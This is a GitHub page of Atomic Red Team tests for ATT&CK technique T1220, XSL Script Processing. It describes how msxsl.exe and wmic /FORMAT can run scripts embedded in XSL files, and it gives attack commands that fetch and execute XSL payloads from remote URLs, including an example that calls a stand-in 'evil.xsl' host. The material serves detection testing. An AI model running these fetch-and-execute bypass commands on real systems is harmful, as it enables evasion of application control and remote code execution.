Skip to content

Latest commit

 

History

History
186 lines (105 loc) · 7.46 KB

T1220.md

File metadata and controls

186 lines (105 loc) · 7.46 KB

T1220 - XSL Script Processing

Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)

Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to Trusted Developer Utilities Proxy Execution, the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)

Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)

  • msxsl.exe customers[.]xml script[.]xsl
  • msxsl.exe script[.]xsl script[.]xsl
  • msxsl.exe script[.]jpeg script[.]jpeg

Another variation of this technique, dubbed “Squiblytwo”, involves using Windows Management Instrumentation to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its Regsvr32/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in Windows Management Instrumentation provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)

Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)

  • Local File: wmic process list /FORMAT:evil[.]xsl
  • Remote File: wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”

Atomic Tests


Atomic Test #1 - MSXSL Bypass using local files

Executes the code specified within a XSL script tag during XSL transformation using a local payload. Requires download of MSXSL from Microsoft at https://www.microsoft.com/en-us/download/details.aspx?id=21714. Open Calculator.exe when test sucessfully executed, while AV turned off.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
xmlfile Location of the test XML file on the local filesystem. Path PathToAtomicsFolder\T1220\src\msxslxmlfile.xml
xslfile Location of the test XSL script file on the local filesystem. Path PathToAtomicsFolder\T1220\src\msxslscript.xsl

Attack Commands: Run with command_prompt!

C:\Windows\Temp\msxsl.exe #{xmlfile} #{xslfile}

Dependencies: Run with powershell!

Description: XML file must exist on disk at specified location (#{xmlfile})
Check Prereq Commands:
if (Test-Path #{xmlfile}) {exit 0} else {exit 1} 
Get Prereq Commands:
New-Item -Type Directory (split-path #{xmlfile}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/msxslxmlfile.xml" -OutFile "#{xmlfile}"
Description: XSL file must exist on disk at specified location (#{xslfile})
Check Prereq Commands:
if (Test-Path #{xslfile}) {exit 0} else {exit 1} 
Get Prereq Commands:
New-Item -Type Directory (split-path #{xslfile}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/msxslscript.xsl" -OutFile "#{xslfile}"


Atomic Test #2 - MSXSL Bypass using remote files

Executes the code specified within a XSL script tag during XSL transformation using a remote payload. Requires download of MSXSL from Microsoft at https://www.microsoft.com/en-us/download/details.aspx?id=21714. Open Calculator.exe when test sucessfully executed, while AV turned off.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
xmlfile Remote location (URL) of the test XML file. Url https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslxmlfile.xml
xslfile Remote location (URL) of the test XSL script file. Url https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslscript.xsl

Attack Commands: Run with command_prompt!

C:\Windows\Temp\msxsl.exe #{xmlfile} #{xslfile}


Atomic Test #3 - WMIC bypass using local XSL file

Executes the code specified within a XSL script using a local payload.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
wmic_command WMI command to execute using wmic.exe string process list
local_xsl_file Location of the test XSL script file on the local filesystem. path PathToAtomicsFolder\T1220\src\wmicscript.xsl

Attack Commands: Run with command_prompt!

wmic #{wmic_command} /FORMAT:"#{local_xsl_file}"

Dependencies: Run with powershell!

Description: XSL file must exist on disk at specified location (#{local_xsl_file})
Check Prereq Commands:
if (Test-Path #{local_xsl_file}) {exit 0} else {exit 1} 
Get Prereq Commands:
New-Item -Type Directory (split-path #{local_xsl_file}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/wmicscript.xsl" -OutFile "#{local_xsl_file}"


Atomic Test #4 - WMIC bypass using remote XSL file

Executes the code specified within a XSL script using a remote payload. Open Calculator.exe when test sucessfully executed, while AV turned off.

Supported Platforms: Windows

Inputs:

Name Description Type Default Value
remote_xsl_file Remote location of an XSL payload. url https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl
wmic_command WMI command to execute using wmic.exe string process list

Attack Commands: Run with command_prompt!

wmic #{wmic_command} /FORMAT:"#{remote_xsl_file}"